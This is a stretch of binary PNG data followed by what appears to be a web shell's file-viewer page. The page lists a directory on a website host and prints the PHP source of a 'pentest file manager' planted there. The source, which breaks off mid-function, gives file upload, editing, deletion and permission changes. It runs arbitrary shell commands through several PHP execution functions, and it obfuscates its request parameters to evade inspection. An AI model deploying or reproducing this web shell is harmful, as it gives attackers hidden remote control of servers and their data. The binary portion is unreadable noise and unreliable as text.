PNG  IHDRX cHRMz&u0`:pQ<bKGD pHYsodtIME MeqIDATxw]Wug^Qd˶ 6`!N:!@xI~)%7%@Bh&`lnjVF29gΨ4E$|>cɚ{gk= %,a KX%,a KX%,a KX%,a KX%,a KX%,a KX%, b` ǟzeאfp]<!SJmɤY޲ڿ,%c ~ع9VH.!Ͳz&QynֺTkRR.BLHi٪:l;@(!MԴ=žI,:o&N'Kù\vRmJ雵֫AWic H@" !: Cé||]k-Ha oݜ:y F())u]aG7*JV@J415p=sZH!=!DRʯvɱh~V\}v/GKY$n]"X"}t@ xS76^[bw4dsce)2dU0 CkMa-U5tvLƀ~mlMwfGE/-]7XAƟ`׮g ewxwC4\[~7@O-Q( a*XGƒ{ ՟}$_y3tĐƤatgvێi|K=uVyrŲlLӪuܿzwk$m87k( `múcE)"@rK( z4$D; 2kW=Xb$V[Ru819קR~qloѱDyįݎ*mxw]y5e4K@ЃI0A D@"BDk_)N\8͜9dz"fK0zɿvM /.:2O{ Nb=M=7>??Zuo32 DLD@D| &+֎C #B8ַ`bOb $D#ͮҪtx]%`ES`Ru[=¾!@Od37LJ0!OIR4m]GZRJu$‡c=%~s@6SKy?CeIh:[vR@Lh | (BhAMy=݃  G"'wzn޺~8ԽSh ~T*A:xR[ܹ?X[uKL_=fDȊ؂p0}7=D$Ekq!/t.*2ʼnDbŞ}DijYaȲ(""6HA;:LzxQ‘(SQQ}*PL*fc\s `/d'QXW, e`#kPGZuŞuO{{wm[&NBTiiI0bukcA9<4@SӊH*؎4U/'2U5.(9JuDfrޱtycU%j(:RUbArLֺN)udA':uGQN"-"Is.*+k@ `Ojs@yU/ H:l;@yyTn}_yw!VkRJ4P)~y#)r,D =ě"Q]ci'%HI4ZL0"MJy 8A{ aN<8D"1#IJi >XjX֔#@>-{vN!8tRݻ^)N_╗FJEk]CT՟ YP:_|H1@ CBk]yKYp|og?*dGvzنzӴzjֺNkC~AbZƷ`.H)=!QͷVTT(| u78y֮}|[8-Vjp%2JPk[}ԉaH8Wpqhwr:vWª<}l77_~{s۴V+RCģ%WRZ\AqHifɤL36: #F:p]Bq/z{0CU6ݳEv_^k7'>sq*+kH%a`0ԣisqにtү04gVgW΂iJiS'3w.w}l6MC2uԯ|>JF5`fV5m`Y**Db1FKNttu]4ccsQNnex/87+}xaUW9y>ͯ骵G{䩓Գ3+vU}~jJ.NFRD7<aJDB1#ҳgSb,+CS?/ VG J?|?,2#M9}B)MiE+G`-wo߫V`fio(}S^4e~V4bHOYb"b#E)dda:'?}׮4繏`{7Z"uny-?ǹ;0MKx{:_pÚmFמ:F " .LFQLG)Q8qN q¯¯3wOvxDb\. BKD9_NN &L:4D{mm o^tֽ:q!ƥ}K+<"m78N< ywsard5+вz~mnG)=}lYݧNj'QJS{S :UYS-952?&O-:W}(!6Mk4+>A>j+i|<<|;ر^߉=HE|V#F)Emm#}/"y GII웻Jі94+v뾧xu~5C95~ūH>c@덉pʃ1/4-A2G%7>m;–Y,cyyaln" ?ƻ!ʪ<{~h~i y.zZB̃/,雋SiC/JFMmBH&&FAbϓO^tubbb_hZ{_QZ-sύodFgO(6]TJA˯#`۶ɟ( %$&+V'~hiYy>922 Wp74Zkq+Ovn錄c>8~GqܲcWꂎz@"1A.}T)uiW4="jJ2W7mU/N0gcqܗOO}?9/wìXžΏ0 >֩(V^Rh32!Hj5`;O28؇2#ݕf3 ?sJd8NJ@7O0 b־?lldщ̡&|9C.8RTWwxWy46ah嘦mh٤&l zCy!PY?: CJyв]dm4ǜҐR޻RլhX{FƯanшQI@x' ao(kUUuxW_Ñ줮[w8 FRJ(8˼)_mQ _!RJhm=!cVmm ?sFOnll6Qk}alY}; "baӌ~M0w,Ggw2W:G/k2%R,_=u`WU R.9T"v,<\Ik޽/2110Ӿxc0gyC&Ny޽JҢrV6N ``یeA16"J³+Rj*;BϜkZPJaÍ<Jyw:NP8/D$ 011z֊Ⱳ3ι֘k1V_"h!JPIΣ'ɜ* aEAd:ݺ>y<}Lp&PlRfTb1]o .2EW\ͮ]38؋rTJsǏP@芎sF\> P^+dYJLbJ C-xϐn> ι$nj,;Ǖa FU *择|h ~izť3ᤓ`K'-f tL7JK+vf2)V'-sFuB4i+m+@My=O҈0"|Yxoj,3]:cо3 $#uŘ%Y"y죯LebqtҢVzq¼X)~>4L׶m~[1_k?kxֺQ`\ |ٛY4Ѯr!)N9{56(iNq}O()Em]=F&u?$HypWUeB\k]JɩSع9 Zqg4ZĊo oMcjZBU]B\TUd34ݝ~:7ڶSUsB0Z3srx 7`:5xcx !qZA!;%͚7&P H<WL!džOb5kF)xor^aujƍ7 Ǡ8/p^(L>ὴ-B,{ۇWzֺ^k]3\EE@7>lYBȝR.oHnXO/}sB|.i@ɥDB4tcm,@ӣgdtJ!lH$_vN166L__'Z)y&kH;:,Y7=J 9cG) V\hjiE;gya~%ks_nC~Er er)muuMg2;֫R)Md) ,¶ 2-wr#F7<-BBn~_(o=KO㭇[Xv eN_SMgSҐ BS헃D%g_N:/pe -wkG*9yYSZS.9cREL !k}<4_Xs#FmҶ:7R$i,fi!~' # !6/S6y@kZkZcX)%5V4P]VGYq%H1!;e1MV<!ϐHO021Dp= HMs~~a)ަu7G^];git!Frl]H/L$=AeUvZE4P\.,xi {-~p?2b#amXAHq)MWǾI_r`S Hz&|{ +ʖ_= (YS(_g0a03M`I&'9vl?MM+m~}*xT۲(fY*V4x@29s{DaY"toGNTO+xCAO~4Ϳ;p`Ѫ:>Ҵ7K 3}+0 387x\)a"/E>qpWB=1 ¨"MP(\xp߫́A3+J] n[ʼnӼaTbZUWb={~2ooKױӰp(CS\S筐R*JغV&&"FA}J>G֐p1ٸbk7 ŘH$JoN <8s^yk_[;gy-;߉DV{c B yce% aJhDȶ 2IdйIB/^n0tNtџdcKj4϶v~- CBcgqx9= PJ) dMsjpYB] GD4RDWX +h{y`,3ꊕ$`zj*N^TP4L:Iz9~6s) Ga:?y*J~?OrMwP\](21sZUD ?ܟQ5Q%ggW6QdO+\@ ̪X'GxN @'4=ˋ+*VwN ne_|(/BDfj5(Dq<*tNt1х!MV.C0 32b#?n0pzj#!38}޴o1KovCJ`8ŗ_"]] rDUy޲@ Ȗ-;xџ'^Y`zEd?0„ DAL18IS]VGq\4o !swV7ˣι%4FѮ~}6)OgS[~Q vcYbL!wG3 7띸*E Pql8=jT\꘿I(z<[6OrR8ºC~ډ]=rNl[g|v TMTղb-o}OrP^Q]<98S¤!k)G(Vkwyqyr޽Nv`N/e p/~NAOk \I:G6]4+K;j$R:Mi #*[AȚT,ʰ,;N{HZTGMoּy) ]%dHء9Պ䠬|<45,\=[bƟ8QXeB3- &dҩ^{>/86bXmZ]]yޚN[(WAHL$YAgDKp=5GHjU&99v簪C0vygln*P)9^͞}lMuiH!̍#DoRBn9l@ xA/_v=ȺT{7Yt2N"4!YN`ae >Q<XMydEB`VU}u]嫇.%e^ánE87Mu\t`cP=AD/G)sI"@MP;)]%fH9'FNsj1pVhY&9=0pfuJ&gޤx+k:!r˭wkl03׼Ku C &ѓYt{.O.zҏ z}/tf_wEp2gvX)GN#I ݭ߽v/ .& и(ZF{e"=V!{zW`, ]+LGz"(UJp|j( #V4, 8B 0 9OkRrlɱl94)'VH9=9W|>PS['G(*I1==C<5"Pg+x'K5EMd؞Af8lG ?D FtoB[je?{k3zQ vZ;%Ɠ,]E>KZ+T/ EJxOZ1i #T<@ I}q9/t'zi(EMqw`mYkU6;[t4DPeckeM;H}_g pMww}k6#H㶏+b8雡Sxp)&C $@'b,fPߑt$RbJ'vznuS ~8='72_`{q纶|Q)Xk}cPz9p7O:'|G~8wx(a 0QCko|0ASD>Ip=4Q, d|F8RcU"/KM opKle M3#i0c%<7׿p&pZq[TR"BpqauIp$ 8~Ĩ!8Սx\ւdT>>Z40ks7 z2IQ}ItԀ<-%S⍤};zIb$I 5K}Q͙D8UguWE$Jh )cu4N tZl+[]M4k8֦Zeq֮M7uIqG 1==tLtR,ƜSrHYt&QP윯Lg' I,3@P'}'R˪e/%-Auv·ñ\> vDJzlӾNv5:|K/Jb6KI9)Zh*ZAi`?S {aiVDԲuy5W7pWeQJk֤#5&V<̺@/GH?^τZL|IJNvI:'P=Ϛt"¨=cud S Q.Ki0 !cJy;LJR;G{BJy޺[^8fK6)=yʊ+(k|&xQ2`L?Ȓ2@Mf 0C`6-%pKpm')c$׻K5[J*U[/#hH!6acB JA _|uMvDyk y)6OPYjœ50VT K}cǻP[ $:]4MEA.y)|B)cf-A?(e|lɉ#P9V)[9t.EiQPDѠ3ϴ;E:+Օ t ȥ~|_N2,ZJLt4! %ա]u {+=p.GhNcŞQI?Nd'yeh n7zi1DB)1S | S#ًZs2|Ɛy$F SxeX{7Vl.Src3E℃Q>b6G ўYCmtկ~=K0f(=LrAS GN'ɹ9<\!a`)֕y[uՍ[09` 9 +57ts6}b4{oqd+J5fa/,97J#6yν99mRWxJyѡyu_TJc`~W>l^q#Ts#2"nD1%fS)FU w{ܯ R{ ˎ󅃏џDsZSQS;LV;7 Od1&1n$ N /.q3~eNɪ]E#oM~}v֯FڦwyZ=<<>Xo稯lfMFV6p02|*=tV!c~]fa5Y^Q_WN|Vs 0ҘދU97OI'N2'8N֭fgg-}V%y]U4 峧p*91#9U kCac_AFңĪy뚇Y_AiuYyTTYЗ-(!JFLt›17uTozc. S;7A&&<ԋ5y;Ro+:' *eYJkWR[@F %SHWP 72k4 qLd'J "zB6{AC0ƁA6U.'F3:Ȅ(9ΜL;D]m8ڥ9}dU "v!;*13Rg^fJyShyy5auA?ɩGHRjo^]׽S)Fm\toy 4WQS@mE#%5ʈfFYDX ~D5Ϡ9tE9So_aU4?Ѽm%&c{n>.KW1Tlb}:j uGi(JgcYj0qn+>) %\!4{LaJso d||u//P_y7iRJ߬nHOy) l+@$($VFIQ9%EeKʈU. ia&FY̒mZ=)+qqoQn >L!qCiDB;Y<%} OgBxB!ØuG)WG9y(Ą{_yesuZmZZey'Wg#C~1Cev@0D $a@˲(.._GimA:uyw֬%;@!JkQVM_Ow:P.s\)ot- ˹"`B,e CRtaEUP<0'}r3[>?G8xU~Nqu;Wm8\RIkբ^5@k+5(By'L&'gBJ3ݶ!/㮻w҅ yqPWUg<e"Qy*167΃sJ\oz]T*UQ<\FԎ`HaNmڜ6DysCask8wP8y9``GJ9lF\G g's Nn͵MLN֪u$| /|7=]O)6s !ĴAKh]q_ap $HH'\1jB^s\|- W1:=6lJBqjY^LsPk""`]w)󭃈,(HC ?䔨Y$Sʣ{4Z+0NvQkhol6C.婧/u]FwiVjZka&%6\F*Ny#8O,22+|Db~d ~Çwc N:FuuCe&oZ(l;@ee-+Wn`44AMK➝2BRՈt7g*1gph9N) *"TF*R(#'88pm=}X]u[i7bEc|\~EMn}P瘊J)K.0i1M6=7'_\kaZ(Th{K*GJyytw"IO-PWJk)..axӝ47"89Cc7ĐBiZx 7m!fy|ϿF9CbȩV 9V-՛^pV̌ɄS#Bv4-@]Vxt-Z, &ֺ*diؠ2^VXbs֔Ìl.jQ]Y[47gj=幽ex)A0ip׳ W2[ᎇhuE^~q흙L} #-b۸oFJ_QP3r6jr+"nfzRJTUqoaۍ /$d8Mx'ݓ= OՃ| )$2mcM*cЙj}f };n YG w0Ia!1Q.oYfr]DyISaP}"dIӗթO67jqR ҊƐƈaɤGG|h;t]䗖oSv|iZqX)oalv;۩meEJ\!8=$4QU4Xo&VEĊ YS^E#d,yX_> ۘ-e\ "Wa6uLĜZi`aD9.% w~mB(02G[6y.773a7 /=o7D)$Z 66 $bY^\CuP. (x'"J60׿Y:Oi;F{w佩b+\Yi`TDWa~|VH)8q/=9!g߆2Y)?ND)%?Ǐ`k/sn:;O299yB=a[Ng 3˲N}vLNy;*?x?~L&=xyӴ~}q{qE*IQ^^ͧvü{Huu=R|>JyUlZV, B~/YF!Y\u_ݼF{_C)LD]m {H 0ihhadd nUkf3oٺCvE\)QJi+֥@tDJkB$1!Đr0XQ|q?d2) Ӣ_}qv-< FŊ߫%roppVBwü~JidY4:}L6M7f٬F "?71<2#?Jyy4뷢<_a7_=Q E=S1И/9{+93֮E{ǂw{))?maÆm(uLE#lïZ  ~d];+]h j?!|$F}*"4(v'8s<ŏUkm7^7no1w2ؗ}TrͿEk>p'8OB7d7R(A 9.*Mi^ͳ; eeUwS+C)uO@ =Sy]` }l8^ZzRXj[^iUɺ$tj))<sbDJfg=Pk_{xaKo1:-uyG0M ԃ\0Lvuy'ȱc2Ji AdyVgVh!{]/&}}ċJ#%d !+87<;qN޼Nفl|1N:8ya  8}k¾+-$4FiZYÔXk*I&'@iI99)HSh4+2G:tGhS^繿 Kتm0 вDk}֚+QT4;sC}rՅE,8CX-e~>G&'9xpW,%Fh,Ry56Y–hW-(v_,? ; qrBk4-V7HQ;ˇ^Gv1JVV%,ik;D_W!))+BoS4QsTM;gt+ndS-~:11Sgv!0qRVh!"Ȋ(̦Yl.]PQWgٳE'`%W1{ndΗBk|Ž7ʒR~,lnoa&:ü$ 3<a[CBݮwt"o\ePJ=Hz"_c^Z.#ˆ*x z̝grY]tdkP*:97YľXyBkD4N.C_[;F9`8& !AMO c `@BA& Ost\-\NX+Xp < !bj3C&QL+*&kAQ=04}cC!9~820G'PC9xa!w&bo_1 Sw"ܱ V )Yl3+ס2KoXOx]"`^WOy :3GO0g;%Yv㐫(R/r (s } u B &FeYZh0y> =2<Ϟc/ -u= c&׭,.0"g"7 6T!vl#sc>{u/Oh Bᾈ)۴74]x7 gMӒ"d]U)}" v4co[ ɡs 5Gg=XR14?5A}D "b{0$L .\4y{_fe:kVS\\O]c^W52LSBDM! C3Dhr̦RtArx4&agaN3Cf<Ԉp4~ B'"1@.b_/xQ} _߃҉/gٓ2Qkqp0շpZ2fԫYz< 4L.Cyυι1t@鎫Fe sYfsF}^ V}N<_`p)alٶ "(XEAVZ<)2},:Ir*#m_YӼ R%a||EƼIJ,,+f"96r/}0jE/)s)cjW#w'Sʯ5<66lj$a~3Kʛy 2:cZ:Yh))+a߭K::N,Q F'qB]={.]h85C9cr=}*rk?vwV렵ٸW Rs%}rNAkDv|uFLBkWY YkX מ|)1!$#3%y?pF<@<Rr0}: }\J [5FRxY<9"SQdE(Q*Qʻ)q1E0B_O24[U'],lOb ]~WjHޏTQ5Syu wq)xnw8~)c 쫬gٲߠ H% k5dƝk> kEj,0% b"vi2Wس_CuK)K{n|>t{P1򨾜j>'kEkƗBg*H%'_aY6Bn!TL&ɌOb{c`'d^{t\i^[uɐ[}q0lM˕G:‚4kb祔c^:?bpg… +37stH:0}en6x˟%/<]BL&* 5&fK9Mq)/iyqtA%kUe[ڛKN]Ě^,"`/ s[EQQm?|XJ߅92m]G.E΃ח U*Cn.j_)Tѧj̿30ڇ!A0=͜ar I3$C^-9#|pk!)?7.x9 @OO;WƝZBFU keZ75F6Tc6"ZȚs2y/1 ʵ:u4xa`C>6Rb/Yм)^=+~uRd`/|_8xbB0?Ft||Z\##|K 0>>zxv8۴吅q 8ĥ)"6>~\8:qM}#͚'ĉ#p\׶ l#bA?)|g g9|8jP(cr,BwV (WliVxxᡁ@0Okn;ɥh$_ckCgriv}>=wGzβ KkBɛ[˪ !J)h&k2%07δt}!d<9;I&0wV/ v 0<H}L&8ob%Hi|޶o&h1L|u֦y~󛱢8fٲUsւ)0oiFx2}X[zVYr_;N(w]_4B@OanC?gĦx>мgx>ΛToZoOMp>40>V Oy V9iq!4 LN,ˢu{jsz]|"R޻&'ƚ{53ўFu(<٪9:΋]B;)B>1::8;~)Yt|0(pw2N%&X,URBK)3\zz&}ax4;ǟ(tLNg{N|Ǽ\G#C9g$^\}p?556]/RP.90 k,U8/u776s ʪ_01چ|\N 0VV*3H鴃J7iI!wG_^ypl}r*jɤSR 5QN@ iZ#1ٰy;_\3\BQQ x:WJv츟ٯ$"@6 S#qe딇(/P( Dy~TOϻ<4:-+F`0||;Xl-"uw$Цi󼕝mKʩorz"mϺ$F:~E'ҐvD\y?Rr8_He@ e~O,T.(ފR*cY^m|cVR[8 JҡSm!ΆԨb)RHG{?MpqrmN>߶Y)\p,d#xۆWY*,l6]v0h15M˙MS8+EdI='LBJIH7_9{Caз*Lq,dt >+~ّeʏ?xԕ4bBAŚjﵫ!'\Ը$WNvKO}ӽmSşذqsOy?\[,d@'73'j%kOe`1.g2"e =YIzS2|zŐƄa\U,dP;jhhhaxǶ?КZ՚.q SE+XrbOu%\GتX(H,N^~]JyEZQKceTQ]VGYqnah;y$cQahT&QPZ*iZ8UQQM.qo/T\7X"u?Mttl2Xq(IoW{R^ ux*SYJ! 4S.Jy~ BROS[V|žKNɛP(L6V^|cR7i7nZW1Fd@ Ara{詑|(T*dN]Ko?s=@ |_EvF]׍kR)eBJc" MUUbY6`~V޴dJKß&~'d3i WWWWWW
Current Directory: D:/inetpub/vhosts/irock2read.com/httpdocs/documents
Viewing File: D:\inetpub\vhosts\irock2read.com\httpdocs\documents\test333.php
<?php /** * Krypton Pentest File Manager * Single-file PHP file manager. * * WARNING: DO NOT deploy in production. * * Features: * - File and folder browsing, upload, rename, delete, permissions. * - File editing/viewing, media preview, hex dump for binary files. * - Terminal emulator (multiple exec methods), process management, network info. * - OOP structure, session timeout, encryption, custom obfuscation. * - All-in-one, minimal dependencies. * * Improved: fixed logic bugs (header bug, directory delete, missing features), added more unique emojis for file types. * Enhanced: View any file format including binary with hex dump display. * Added: Change permissions feature with permission codes. */ session_start(); error_reporting(E_ALL); ini_set('display_errors', 1); // --- CONFIG ---------------------------------------------------------------------------------- class Config { const VERSION = '3.2.0'; const ENCRYPTION_KEY = 'zctNrBz!wuDveHPpFhjDC=&pvWdY4w'; const SESSION_TIMEOUT = 1800; const DEFAULT_ENCRYPTION_KEY = 'change_this_to_a_random_string'; const SECURITY_BANNER = "⚠️ AUTHORIZED PENTEST/ISOLATED USE ONLY - This file manager is strictly for authorized use in testing environments"; const MAX_TEXT_VIEW_SIZE = 10 * 1024 * 1024; // 10MB max for text view const MAX_HEXDUMP_SIZE = 5 * 1024 * 1024; // 5MB max for hex dump } // --- SECURITY/SESSION ------------------------------------------------------------------------- class SecurityManager { private $encryptionKey; public function __construct($encryptionKey = null) { $this->encryptionKey = $encryptionKey ?: Config::ENCRYPTION_KEY; } public function hasDefaultEncryptionKey(): bool { return $this->encryptionKey === Config::DEFAULT_ENCRYPTION_KEY; } public function checkSessionTimeout(): void { if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > Config::SESSION_TIMEOUT)) { session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); } // OOP: AES encryption for navigation public function encryptPath(string $path): string { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', $this->encryptionKey, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } public function decryptPath(string $encryptedPath): string { try { $decoded = base64_decode($encryptedPath); if ($decoded === false || strpos($decoded, '::') === false) return getcwd(); list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) return getcwd(); $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', $this->encryptionKey, 0, $iv); return $decrypted !== false ? $decrypted : getcwd(); } catch (Exception $e) { return getcwd(); } } // Legacy: Multi-layer parameter encoding for GET actions (obfuscation) public function encodeParameter($value) { $encoded = bin2hex($value); $encoded = base64_encode($encoded); $encoded = str_rot13($encoded); $emojiMap = [ 'a' => '🔥', 'e' => '⚡', 'i' => '💎', 'o' => '🌟', 'u' => '🚀', '0' => '🎯', '1' => '🎪', '2' => '🎨', '3' => '🎭', '4' => '🎮', '5' => '🎲', '6' => '🎸', '7' => '🎺', '8' => '🎻', '9' => '🎹' ]; foreach ($emojiMap as $char => $emoji) { $encoded = str_replace($char, $emoji, $encoded); } return urlencode($encoded); } public function decodeParameter($encoded) { $encoded = urldecode($encoded); $emojiMap = [ '🔥' => 'a', '⚡' => 'e', '💎' => 'i', '🌟' => 'o', '🚀' => 'u', '🎯' => '0', '🎪' => '1', '🎨' => '2', '🎭' => '3', '🎮' => '4', '🎲' => '5', '🎸' => '6', '🎺' => '7', '🎻' => '8', '🎹' => '9' ]; foreach ($emojiMap as $emoji => $char) { $encoded = str_replace($emoji, $char, $encoded); } $decoded = str_rot13($encoded); $decoded = base64_decode($decoded); $decoded = hex2bin($decoded); return $decoded; } } // --- FILE UTILS ------------------------------------------------------------------------------ class FileUtils { public static function formatFileSize($size, $precision = 2) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) $size /= 1024; return round($size, $precision) . ' ' . $units[$i]; } public static function getFilePermissions($filepath) { $perms = fileperms($filepath); $info = ''; if (($perms & 0xC000) == 0xC000) $info = 's'; elseif (($perms & 0xA000) == 0xA000) $info = 'l'; elseif (($perms & 0x8000) == 0x8000) $info = '-'; elseif (($perms & 0x6000) == 0x6000) $info = 'b'; elseif (($perms & 0x4000) == 0x4000) $info = 'd'; elseif (($perms & 0x2000) == 0x2000) $info = 'c'; elseif (($perms & 0x1000) == 0x1000) $info = 'p'; else $info = 'u'; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } public static function getOctalPermissions($filepath) { $perms = fileperms($filepath); $octal = substr(sprintf('%o', $perms), -4); return $octal; } public static function getFileOwner($filepath) { if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($filepath)); $group = posix_getgrgid(filegroup($filepath)); return ($owner['name'] ?? 'unknown') . ':' . ($group['name'] ?? 'unknown'); } else { return fileowner($filepath) . ':' . filegroup($filepath); } } public static function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'txt' => '📝', // Notepad 'php' => '🐘', // PHP elephant 'html' => '🌐', // Globe 'css' => '🎨', // Artist palette 'js' => '⚡', // High voltage 'json' => '🗄️', // File cabinet 'xml' => '🔖', // Bookmark 'md' => '📚', // Books 'log' => '🗒️', // Spiral notepad 'error_log' => '⚠️', // Warning 'ini' => '⚙️', // Gear 'conf' => '🔧', // Wrench 'htaccess' => '🚪', // Door 'sql' => '🛢️', // Database 'py' => '🐍', // Python snake 'java' => '☕', // Coffee 'c' => '📘', // Blue book 'cpp' => '📗', // Green book 'h' => '📙', // Orange book 'sh' => '💻', // Laptop 'bat' => '🦇', // Bat 'jpg' => '🖼️', // Framed picture 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🎞️', // Film frames 'svg' => '🖍️', // Crayon 'ico' => '🎯', // Target 'bmp' => '🖌️', // Paint brush 'pdf' => '📕', // Closed book 'doc' => '📄', // Document 'docx' => '📄', 'xls' => '📊', // Chart 'xlsx' => '📊', 'zip' => '🗜️', // Clamp 'rar' => '🗜️', '7z' => '🗜️', 'tar' => '📦', // Package 'gz' => '📦', 'mp3' => '🎵', // Music note 'wav' => '🎶', // Multiple notes 'ogg' => '🎧', // Headphones 'mp4' => '🎬', // Clapperboard 'avi' => '📽️', // Movie camera 'mov' => '📺', // Television 'exe' => '💾', // Floppy disk 'dll' => '🧩', // Puzzle piece 'so' => '🧩', // Puzzle piece 'apk' => '🤖', // Robot 'iso' => '🧊', // Ice cube (disk image) 'csv' => '📑', // Bookmark tabs 'ppt' => '📈', // Chart increasing 'pptx' => '📈', 'bin' => '🔢', // Numbers 'dat' => '🗃️', // Card file box 'db' => '🗄️', // File cabinet 'sqlite' => '🗄️', 'backup' => '💾', ]; return $icons[$ext] ?? '📄'; // Default: document } public static function isTextFile($filename) { $textExtensions = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'md', 'log', 'error_log', 'ini', 'conf', 'htaccess', 'sql', 'py', 'java', 'c', 'cpp', 'h', 'sh', 'bat', 'csv', 'yml', 'yaml', 'env']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($ext, $textExtensions); } public static function isBinaryFile($filepath) { if (!file_exists($filepath) || !is_readable($filepath)) { return false; } // Check file size first $filesize = filesize($filepath); if ($filesize === 0) { return false; // Empty file } // Read first 8KB to check for binary content $handle = @fopen($filepath, "rb"); if (!$handle) { return false; } $sample = @fread($handle, min(8192, $filesize)); fclose($handle); if ($sample === false) { return false; } // Check for null bytes (binary indicator) if (strpos($sample, "\0") !== false) { return true; } // Check for high ratio of non-printable characters $printableChars = preg_match_all('/[\x20-\x7E\x0A\x0D\x09]/', $sample); $totalChars = strlen($sample); $printableRatio = ($totalChars > 0) ? ($printableChars / $totalChars) : 1; return $printableRatio < 0.7; // If less than 70% printable, consider it binary } public static function isMediaFile($filename) { $mediaExtensions = ['jpg', 'jpeg', 'png', 'gif', 'svg', 'mp4', 'avi', 'mov', 'mp3', 'wav', 'ogg', 'webm', 'mkv', 'flv', 'ico', 'bmp', 'tiff', 'tif', 'webp']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($ext, $mediaExtensions); } public static function isEditableFile($filename, $filepath) { // Check if file is too large $filesize = @filesize($filepath); if ($filesize > Config::MAX_TEXT_VIEW_SIZE) { return false; } // Don't allow editing of truly binary files if (self::isBinaryFile($filepath)) { return false; } // Allow editing of all non-binary files return true; } public static function getMediaType($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $imageExts = ['jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'bmp', 'tiff', 'tif', 'webp']; $videoExts = ['mp4', 'avi', 'mov', 'webm', 'mkv', 'flv']; $audioExts = ['mp3', 'wav', 'ogg']; if (in_array($ext, $imageExts)) return 'image'; if (in_array($ext, $videoExts)) return 'video'; if (in_array($ext, $audioExts)) return 'audio'; return 'other'; } public static function sanitizePath($path) { return str_replace(['\\\\', '/'], DIRECTORY_SEPARATOR, $path); } public static function buildBreadcrumbs($currentPath, $security) { $breadcrumbs = []; $parts = explode(DIRECTORY_SEPARATOR, trim($currentPath, DIRECTORY_SEPARATOR)); $path = ''; foreach ($parts as $part) { if ($part !== '') { $path .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = ['name' => $part, 'path' => $path, 'enc' => $security->encryptPath($path)]; } } return $breadcrumbs; } public static function hexDump($data, $offset = 0, $length = null) { if ($length === null) { $length = strlen($data); } $output = ''; $hex = ''; $ascii = ''; for ($i = 0; $i < $length; $i++) { if ($i % 16 == 0) { if ($i != 0) { $output .= sprintf("%08x %-48s %s\n", $offset + $i - 16, $hex, $ascii); } $hex = ''; $ascii = ''; } $byte = ord($data[$i]); $hex .= sprintf("%02x ", $byte); if ($byte >= 32 && $byte <= 126) { $ascii .= chr($byte); } else { $ascii .= '.'; } // Add extra space after 8 bytes for readability if ($i % 8 == 7) { $hex .= ' '; } } // Add padding for last line if ($hex != '') { $padding = 48 - strlen($hex); if ($padding > 0) { $hex .= str_repeat(' ', $padding); } $output .= sprintf("%08x %-48s %s\n", $offset + $length - ($length % 16), $hex, $ascii); } return $output; } public static function getSafeContent($filepath, $maxSize = Config::MAX_TEXT_VIEW_SIZE) { if (!file_exists($filepath) || !is_readable($filepath)) { return ['content' => '', 'type' => 'error', 'message' => 'Cannot read file']; } $filesize = filesize($filepath); // Check if file is too large for text view if ($filesize > $maxSize) { return [ 'content' => '', 'type' => 'large', 'message' => "File is too large ({$filesize} bytes). Max allowed for text view: " . self::formatFileSize($maxSize) ]; } // Read file content $content = @file_get_contents($filepath); if ($content === false) { return ['content' => '', 'type' => 'error', 'message' => 'Failed to read file']; } // Check if file is binary if (self::isBinaryFile($filepath)) { // Check if binary file is small enough for hex dump if ($filesize <= Config::MAX_HEXDUMP_SIZE) { $hexContent = self::hexDump($content); return [ 'content' => $hexContent, 'type' => 'hex', 'message' => "Binary file - Hex Dump view" ]; } else { return [ 'content' => '', 'type' => 'large_binary', 'message' => "Binary file is too large ({$filesize} bytes) for hex dump. Max: " . self::formatFileSize(Config::MAX_HEXDUMP_SIZE) ]; } } // Regular text file return [ 'content' => $content, 'type' => 'text', 'message' => "Text file - " . self::formatFileSize($filesize) ]; } } // --- COMMAND EXECUTION ------------------------------------------------------------------------ class CommandUtils { public static function getAvailableCommandFunctions() { $functions = ['system', 'exec', 'passthru', 'shell_exec', 'proc_open', 'popen']; $available = []; foreach ($functions as $func) { if (function_exists($func) && !in_array($func, explode(',', ini_get('disable_functions')))) { $available[] = $func; } } return $available; } public static function executeCommand($command, $method = 'exec') { $output = ''; $available = self::getAvailableCommandFunctions(); if (!in_array($method, $available)) return ['output' => 'Method not available', 'error' => true]; try { switch ($method) { case 'exec': exec($command . ' 2>&1', $outputArray, $returnVar); $output = implode("\n", $outputArray); break; case 'system': ob_start(); system($command . ' 2>&1', $returnVar); $output = ob_get_clean(); break; case 'passthru': ob_start(); passthru($command . ' 2>&1', $returnVar); $output = ob_get_clean(); break; case 'shell_exec': $output = shell_exec($command . ' 2>&1'); break; case 'proc_open': $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $error = 